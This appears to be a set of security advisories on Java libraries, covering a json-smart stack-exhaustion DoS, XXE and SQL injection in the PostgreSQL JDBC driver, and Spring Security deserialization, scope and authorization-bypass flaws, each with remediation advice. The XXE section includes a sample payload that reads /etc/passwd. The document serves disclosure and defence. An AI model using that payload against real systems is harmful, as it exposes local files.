Overview

net.minidev:json-smart is a Java JSON parser.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can cause a stack exhaustion and subsequent service disruption by providing JSON input with an excessive number of nested {.

Note:

This issue exists because of an incomplete fix for CVE-2023-1370.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade net.minidev:json-smart to version 2.5.2 or higher.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The PgSQLXML class used for parsing was found to allow external entities and multiple doc types which could allow XXE attacks.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.13 or higher.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. spring-security-core configures Jackson with the global default typing enabled. Although Jackson blacklisted known deserialization gadgets, it is still possible for a malicious user to execute arbitrary code on the following conditions:

1. Spring Security’s Jackson support is being leveraged by invoking SecurityJackson2Modules.getModules(ClassLoader) or SecurityJackson2Modules.enableDefaultTyping(ObjectMapper)
2. Jackson is used to deserialize data that is not trusted. Spring Security does not perform deserialization using Jackson, so this is an explicit choice of the user.
3. There is an unknown (Jackson is not blacklisting it already) “deserialization gadget” that allows code execution present on the classpath

This is related to SNYK-JAVA-COMFASTERXMLJACKSONCORE-31507.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

The vulnerability, also know as Mad Gadget

Mad Gadget is one of the most pernicious vulnerabilities we’ve seen. By merely existing on the Java classpath, seven “gadget” classes in Apache Commons Collections (versions 3.0, 3.1, 3.2, 3.2.1, and 4.0) make object deserialization for the entire JVM process Turing complete with an exec function. Since many business applications use object deserialization to send messages across the network, it would be like hiring a bank teller who was trained to hand over all the money in the vault if asked to do so politely, and then entrusting that teller with the key. The only thing that would keep a bank safe in such a circumstance is that most people wouldn’t consider asking such a question.

Overview

Affected versions of this package are vulnerable to Privilege Escalation due to allowing a malicious user or attacker to modify a request initiated by the Client (via the browser) to the Authorization Server. This scenario can happen if the Authorization Server responds with an OAuth2 Access Token response containing an empty scope list on the subsequent request to the token endpoint when trying to obtain the access token.

This vulnerability exposes applications that meet all of the following requirements:

1. Act in the role of a Login Client (e.g. http.oauth2Login())

2. Use one or more authorization rules with authorities mapped from authorized scopes (e.g. anyRequest().hasAuthority("SCOPE_message.write")) in the client application

3. Register an authorization server that responds with empty scopes list (per (RFC 6749, Section 5.1)[https://www.rfc-editor.org/rfc/rfc6749#section-5.1])

This vulnerability does not expose applications that:

1. Act in the role of a Resource Server only (e.g. http.oauth2ResourceServer())

2. Use authorization rules with authorities not mapped from authorized scopes (e.g. anyRequest().hasAuthority("ROLE_USER")) in the client application

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via forward or include dispatcher types.

An application is vulnerable when all of the following are true:

1. The application expects that Spring Security applies security to forward and include dispatcher types.

2. The application uses the AuthorizationFilter either manually or via the authorizeHttpRequests() method.

3. The application configures the FilterChainProxy to apply to forward and/or include requests (e.g. spring.security.filter.dispatcher-types = request, error, async, forward, include).

4. The application may forward or include the request to a higher privilege-secured endpoint.

5. The application configures Spring Security to apply to every dispatcher type via authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)

An application is not vulnerable if any of the following is true:

1. The application does not use authorizeHttpRequests() or the AuthorizationFilter.

2. The application does not forward/include requests.

3. The application does not need to configure Spring Security to apply to FORWARD and INCLUDE dispatcher types.

Workaround

Users who are unable to upgrade should use AuthorizeRequests().filterSecurityInterceptorOncePerRequest(false) instead of AuthorizeHttpRequests().shouldFilterAllDispatcherTypes(true).

Users with version < 5.7.0 which does not have shouldFilterAllDispatcherTypes available, should add an ObjectPostProcessor:

authorizeHttpRequests().withObjectPostProcessor(new 
 ObjectPostProcessor<AuthorizationFilter>() {
   @Override 
   public<O extends AuthorizationFilter> O postProcess(O filter) { 
    filter.setObserveOncePerRequest(false); 
    filter.setFilterAsyncDispatch(true); 
    filter.setFilterErrorDispatch(true); 
    return filter;
   }});

Note:

In Spring Security 5, the default behavior is to not apply the filters more than once to a request, therefore users have to explicitly configure Spring Security to do that. In addition, the FilterChainProxy is also not configured to be invoked on forward and include dispatcher types.

Upgrade org.springframework.security:spring-security-web to version 5.6.9, 5.7.5 or higher.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

• An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
• Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.
